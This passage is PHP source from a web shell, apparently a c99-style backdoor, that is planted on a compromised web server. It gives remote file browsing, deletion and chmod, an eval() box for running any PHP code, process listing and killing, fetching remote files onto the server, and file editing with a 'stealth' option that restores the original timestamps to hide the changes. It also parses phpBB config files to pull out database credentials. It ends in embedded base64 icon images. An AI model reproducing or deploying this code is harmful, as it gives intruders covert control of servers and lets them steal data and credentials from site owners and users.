echo "<form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=x value=\"".$dspact."\"><input type=hidden name=d value=".$d.">".
"<table class=explorer>";
foreach($table as $row) {
echo "<tr>";
foreach($row as $v) {echo "<td>".$v."</td>";}
echo "</tr>
";
}
echo "</table>".
"<script>".
"function ls_setcheckboxall(status) {".
" var id = 1; var num = ".(count($table)-2).";".
" while (id <= num) { document.getElementById('actbox'+id).checked = status; id++; }".
"}".
"function ls_reverse_all() {".
" var id = 1; var num = ".(count($table)-2).";".
" while (id <= num) { document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++; }".
"}".
"</script>".
"<div align=\"right\">".
"<input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\"> <input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">".
"<img src=\"".$surl."x=img&img=arrow_ltr\" border=\"0\">";
if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) {
echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\"> <input type=\"text\" name=\"actarcbuff_path\" value=\"fx_archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\"> <input type=submit name=\"actpastebuff\" value=\"Paste\"> <input type=submit name=\"actemptybuff\" value=\"Empty buffer\"> ";
}
echo "<select name=x><option value=\"".$x."\">With selected:</option>";
echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
if ($usefsbuff) {
echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
}
echo "</select> <input type=submit value=\"Confirm\"></div>";
echo "</form>";
}
}
if ($x == "tools")
{
}
if ($x == "phpfsys") {
echo "<div align=left>";
$fsfunc = $phpfsysfunc;
if ($fsfunc=="copy") {
if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...
";}
else { echo "<b>Success!</b> $arg1 copied to $arg2
"; }
}
elseif ($fsfunc=="rename") {
if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!
";}
else { echo "<b>Success!</b> $arg1 renamed/moved to $arg2
"; }
}
elseif ($fsfunc=="chmod") {
if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!
";}
else { echo "<b>Perm for $arg1 changed to $arg2!</b>
"; }
}
elseif ($fsfunc=="read") {
$hasil = @file_get_contents($arg1);
echo "<b>Filename:</b> $arg1<br>";
echo "<textarea cols=150 rows=20>";
echo $hasil;
echo "</textarea>
";
}
elseif ($fsfunc=="write") {
if(@file_put_contents($d.$arg1,$arg2)) {
echo "<b>Saved!</b> ".$d.$arg1;
}
else { echo "<div class=fxerrmsg>Couldn't write to $arg1!</div>"; }
}
elseif ($fsfunc=="downloadbin") {
$handle = fopen($arg1, "rb");
$contents = '';
while (!feof($handle)) {
$contents .= fread($handle, 8192);
}
$r = @fopen($d.$arg2,'w');
if (fwrite($r,$contents)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
else { echo "<div class=fxerrmsg>Couldn't write to ".$d.$arg2."!</div>"; }
fclose($r);
fclose($handle);
}
elseif ($fsfunc=="download") {
$text = implode('', file($arg1));
if ($text) {
$r = @fopen($d.$arg2,'w');
if (fwrite($r,$text)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
else { echo "<div class=fxerrmsg>Couldn't write to ".$d.$arg2."!</div>"; }
fclose($r);
}
else { echo "<div class=fxerrmsg>Couldn't download from $arg1!</div>";}
}
elseif ($fsfunc=='mkdir') {
$thedir = $d.$arg1;
if ($thedir != $d) {
if (file_exists($thedir)) { echo "<b>Already exists:</b> ".htmlspecialchars($thedir); }
elseif (!mkdir($thedir)) { echo "<b>Access denied:</b> ".htmlspecialchars($thedir); }
else { echo "<b>Dir created:</b> ".htmlspecialchars($thedir);}
}
else { echo "Couldn't create current dir:<b> $thedir</b>"; }
}
elseif ($fsfunc=='fwritabledir') {
function recurse_dir($dir,$max_dir) {
global $dir_count;
$dir_count++;
if( $cdir = @dir($dir) ) {
while( $entry = $cdir-> read() ) {
if( $entry != '.' && $entry != '..' ) {
if(is_dir($dir.$entry) && is_writable($dir.$entry) ) {
if ($dir_count > $max_dir) { return; }
echo "[".$dir_count."] ".$dir.$entry."
";
recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir);
}
}
}
$cdir->close();
}
}
if (!$arg1) { $arg1 = $d; }
if (!$arg2) { $arg2 = 10; }
echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<br>";
echo "<pre>";
recurse_dir($arg1,$arg2);
echo "</pre>";
$total = $dir_count - 1;
echo "<b>Founds:</b> ".$total." of <b>Max</b> $arg2";
}
else {
if (!$arg1) { echo "<div class=fxerrmsg>No operation! Please fill parameter [A]!</div>
"; }
else {
if ($hasil = $fsfunc($arg1)) {
echo "<b>Result of $fsfunc $arg1:</b><br>";
if (!is_array($hasil)) { echo "$hasil
"; }
else {
echo "<pre>";
foreach ($hasil as $v) { echo $v."
"; }
echo "</pre>";
}
}
else { echo "<div class=fxerrmsg>$fsfunc $arg1 failed!</div>
"; }
}
}
echo "</div>
";
}
if ($x == "processes") {
echo "<div class=barheader>[ Processes ]</div>";
if (!$win) { $handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":""); }
else { $handler = "tasklist"; }
$ret = myshellexec($handler);
if (!$ret) { echo "Can't execute \"".$handler."\"!"; }
else {
if (empty($processes_sort)) {$processes_sort = $sort_default;}
$parsesort = parsesort($processes_sort);
if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
$k = $parsesort[0];
if ($parsesort[1] != "a") {
$y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."x=img&img=sort_desc\" border=\"0\"></a>";
}
else {
$y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."x=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";
}
$ret = htmlspecialchars($ret);
if (!$win) {
if ($pid) {
if (is_null($sig)) {$sig = 9;}
echo "Sending signal ".$sig." to #".$pid."... ";
if (posix_kill($pid,$sig)) {echo "OK.";}
else {echo "ERROR.";}
}
while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
$stack = explode("
",$ret);
$head = explode(" ",$stack[0]);
unset($stack[0]);
for($i=0;$i<count($head);$i++) {
if ($i != $k) {$head[$i] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";}
}
$prcs = array();
foreach ($stack as $line) {
if (!empty($line)) {
echo "<tr>";
$line = explode(" ",$line);
$line[10] = join(" ",array_slice($line,10));
$line = array_slice($line,0,11);
if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";}
$line[] = "<a href=\"".$surl."x=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
$prcs[] = $line;
echo "</tr>";
}
}
}
else {
while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
while (ereg("=",$ret)) {$ret = str_replace("=","",$ret);}
$ret = convert_cyr_string($ret,"d","w");
$stack = explode("
",$ret);
unset($stack[0],$stack[2]);
$stack = array_values($stack);
$stack[0]=str_replace("Image Name","ImageName",$stack[0]);
$stack[0]=str_replace("Session Name","SessionName",$stack[0]);
$stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]);
$head = explode(" ",$stack[0]);
$stack = array_slice($stack,1);
$head = array_values($head);
if ($parsesort[1] != "a") { $y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."x=img&img=sort_desc\" border=\"0\"></a>"; }
else { $y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."x=img&img=sort_asc\" border=\"0\"></a>"; }
if ($k > count($head)) {$k = count($head)-1;}
for($i=0;$i<count($head);$i++) {
if ($i != $k) { $head[$i] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>"; }
}
$prcs = array();
unset($stack[0]);
foreach ($stack as $line) {
if (!empty($line)) {
$line = explode(" ",$line);
$line[4] = str_replace(".","",$line[4]);
$line[4] = intval($line[4]) * 1024;
unset($line[5]);
$prcs[] = $line;
}
}
}
$head[$k] = "<b>".$head[$k]."</b>".$y;
$v = $processes_sort[0];
usort($prcs,"tabsort");
if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
$tab = array();
$tab[] = $head;
$tab = array_merge($tab,$prcs);
echo "<table class=explorer>";
foreach($tab as $i=>$k) {
echo "<tr>";
foreach($k as $j=>$v) {
if ($win and $i > 0 and $j == 4) {$v = view_size($v);}
echo "<td>".$v."</td>";
}
echo "</tr>";
}
echo "</table>";
}
}
if ($x == "eval") {
if (!empty($eval)) {
echo "Result of execution this PHP-code:<br>";
$tmp = ob_get_contents();
$olddir = realpath(".");
@chdir($d);
if ($tmp) {
ob_clean();
eval($eval);
$ret = ob_get_contents();
$ret = convert_cyr_string($ret,"d","w");
ob_clean();
echo $tmp;
if ($eval_txt) {
$rows = count(explode("
",$ret))+1;
if ($rows < 10) {$rows = 10;}
echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
}
else {echo $ret."<br>";}
}
else {
if ($eval_txt) {
echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
eval($eval);
echo "</textarea>";
}
else {echo $ret;}
}
@chdir($olddir);
}
else {echo "<b>PHP-code Execution (Use without PHP Braces!)</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
echo "<form action=\"".$surl."\" method=POST><input type=hidden name=x value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\"> Display in text-area <input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
}
if ($x == "f") {
echo "<div align=left>";
if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") {
if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."x=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
}
else {
$r = @file_get_contents($d.$f);
$ext = explode(".",$f);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$rft = "";
foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
if (empty($ft)) {$ft = $rft;}
$arr = array(
array("<img src=\"".$surl."x=img&img=ext_diz\" border=\"0\">","info"),
array("<img src=\"".$surl."x=img&img=ext_html\" border=\"0\">","html"),
array("<img src=\"".$surl."x=img&img=ext_txt\" border=\"0\">","txt"),
array("Code","code"),
array("Session","phpsess"),
array("<img src=\"".$surl."x=img&img=ext_exe\" border=\"0\">","exe"),
array("SDB","sdb"),
array("<img src=\"".$surl."x=img&img=ext_gif\" border=\"0\">","img"),
array("<img src=\"".$surl."x=img&img=ext_ini\" border=\"0\">","ini"),
array("<img src=\"".$surl."x=img&img=download\" border=\"0\">","download"),
array("<img src=\"".$surl."x=img&img=ext_rtf\" border=\"0\">","notepad"),
array("<img src=\"".$surl."x=img&img=change\" border=\"0\">","edit")
);
echo "<b>Viewing file: <img src=\"".$surl."x=img&img=ext_".$ext."\" border=\"0\"> ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
foreach($arr as $t) {
if ($t[1] == $rft) {echo " <a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
elseif ($t[1] == $ft) {echo " <a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
else {echo " <a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
echo " (<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
}
echo "<hr size=\"1\" noshade>";
if ($ft == "info") {
echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
if (!$win) {
echo "<tr><td><b>Owner/Group</b></td><td> ";
$ow = posix_getpwuid(fileowner($d.$f));
$gr = posix_getgrgid(filegroup($d.$f));
echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
}
echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."x=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table>";
$fi = fopen($d.$f,"rb");
if ($fi) {
if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
$n = 0;
$a0 = "00000000<br>";
$a1 = "";
$a2 = "";
for ($i=0; $i<strlen($str); $i++) {
$a1 .= sprintf("%02X",ord($str[$i]))." ";
switch (ord($str[$i])) {
case 0: $a2 .= "<font>0</font>"; break;
case 32:
case 10:
case 13: $a2 .= " "; break;
default: $a2 .= htmlspecialchars($str[$i]);
}
$n++;
if ($n == $hexdump_rows) {
$n = 0;
if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
$a1 .= "<br>";
$a2 .= "<br>";
}
}
echo "<table border=1 bgcolor=#666666>".
"<tr><td bgcolor=#666666>".$a0."</td>".
"<td bgcolor=#000000>".$a1."</td>".
"<td bgcolor=#000000>".$a2."</td>".
"</tr></table><br>";
}
$encoded = "";
if ($base64 == 1) {
echo "<b>Base64 Encode</b><br>";
$encoded = base64_encode(file_get_contents($d.$f));
}
elseif($base64 == 2) {
echo "<b>Base64 Encode + Chunk</b><br>";
$encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
}
elseif($base64 == 3) {
echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
$encoded = base64_encode(file_get_contents($d.$f));
$encoded = substr(preg_replace("!.{1,76}!","''.
",$encoded),0,-2);
}
elseif($base64 == 4) {
$text = file_get_contents($d.$f);
$encoded = base64_decode($text);
echo "<b>Base64 Decode";
if (base64_encode($encoded) != $text) {echo " (failed)";}
echo "</b><br>";
}
if (!empty($encoded))
{
echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
}
echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
<nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>] </nobr>
<nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>] </nobr>
<nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>] </nobr>
<nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>] </nobr>
<P>";
}
elseif ($ft == "html") {
if ($white) {@ob_clean();}
echo $r;
if ($white) {capriv8exit();}
}
elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
elseif ($ft == "phpsess") {
echo "<pre>";
$v = explode("|",$r);
echo $v[0]."<br>";
var_dump(unserialize($v[1]));
echo "</pre>";
}
elseif ($ft == "exe") {
$ext = explode(".",$f);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$rft = "";
foreach($exeftypes as $k=>$v)
{
if (in_array($ext,$v)) {$rft = $k; break;}
}
$cmd = str_replace("%f%",$f,$rft);
echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=x value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
}
elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
elseif ($ft == "code") {
if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) {
$arr = explode("
",$r);
if (count($arr == 18)) {
include($d.$f);
echo "<b>phpBB configuration is detected in this file!<br>";
if ($dbms == "mysql4") {$dbms = "mysql";}
if ($dbms == "mysql") {echo "<a href=\"".$surl."x=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by this shell. Please, report us for fix.";}
echo "Parameters for manual connect:<br>";
$cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
echo "</b><hr size=\"1\" noshade>";
}
}
echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
if (!empty($white)) {@ob_clean();}
highlight_file($d.$f);
if (!empty($white)) {capriv8exit();}
echo "</div>";
}
elseif ($ft == "download") {
@ob_clean();
header("Content-type: application/octet-stream");
header("Content-length: ".filesize($d.$f));
header("Content-disposition: attachment; filename=\"".$f."\";");
echo $r;
exit;
}
elseif ($ft == "notepad") {
@ob_clean();
header("Content-type: text/plain");
header("Content-disposition: attachment; filename=\"".$f.".txt\";");
echo($r);
exit;
}
elseif ($ft == "img") {
$inf = getimagesize($d.$f);
if (!$white) {
if (empty($imgsize)) {$imgsize = 20;}
$width = $inf[0]/100*$imgsize;
$height = $inf[1]/100*$imgsize;
echo "<center><b>Size:</b> ";
$sizes = array("100","50","20");
foreach ($sizes as $v) {
echo "<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
if ($imgsize != $v ) {echo $v;}
else {echo "<u>".$v."</u>";}
echo "</a> ";
}
echo "<br><br><img src=\"".$surl."x=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
}
else {
@ob_clean();
$ext = explode($f,".");
$ext = $ext[count($ext)-1];
header("Content-type: ".$inf["mime"]);
readfile($d.$f);
exit;
}
}
elseif ($ft == "edit") {
if (!empty($submit))
{
if ($filestealth) {$stat = stat($d.$f);}
$fp = fopen($d.$f,"w");
if (!$fp) {echo "<b>Can't write to file!</b>";}
else
{
echo "<b>Saved!</b>";
fwrite($fp,$edit_text);
fclose($fp);
if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
$r = $edit_text;
}
}
$rows = count(explode("
",$r));
if ($rows < 10) {$rows = 10;}
if ($rows > 30) {$rows = 30;}
echo "<form action=\"".$surl."x=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\"> <input type=\"reset\" value=\"Reset\"> <input type=\"button\" onclick=\"location.href='".addslashes($surl."x=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
}
elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
}
echo "</div>
";
}
}
else {
@ob_clean();
$images = array(
"arrow_ltr"=>
"R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQSIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
"back"=>
"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
"Wg0JADs=",
"buffer"=>
"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
"change"=>
"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
"zMshADs=",
"delete"=>
"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
"jwVFHBgiEGQFIgQasYkcSbJQIAA7",
"download"=>
"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
"forward"=>
"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
"WqsJADs=",
"home"=>
"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
"mode"=>
"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
"search"=>
"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
"setup"=>
"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
"small_dir"=>
"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABmJLR0QAAAAAAAD5Q7t/AAAACXBIWXMAAA3XAAAN1wFCKJt4AAAAB3RJTUUH1QsKEjkN+d1wUAAAAX9JREFUOMulkU2IUlEYhp9jKv5AposQWgRBtA6CmSCa5SzjYhG0qYggiP6Y3WxmtrMIol1QM84qRKRlSVC2bBcYRpuIIigFC7F7j0fP/WZx7QriBc2XDw6cw/e8L+9Rly6XtorF4jZTMsYE58Dc2tvdf0KE1J17t+X61RszH7X2eLb3lF6vd6VaqT2PBJSci7Q+taJMeNt4M331qFqpPQCIA6TTGY7k8pEA50IpcFMKpRS1F9X7QAAwxuB5Lq8/9ml2Msylww5nbjpSSOnPYYJmJ8PjjXW0sXMxUslD3H1YPxUH8DwXgJ+/NV/af+cCnDiaBSCmtSadnjP6DMVc1w0T/BfgXwdLARZNYK2PHgZlh7+QiPkIICIopRARRMAXwVphaH3MSBiMLEMr5LLJCcDzXI7nBnT7hh9dD0ThI4wHERAEkTEYGFmZAH512pw+e44PX/+MlwJ3EfARBAUiYaqVkwXqL1+R19/L6vy1nYabOLa2aHnZ4bf378qbqyyrA8KHtMqnsOL4AAAAAElFTkSuQmCC",
"small_unk"=>
"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
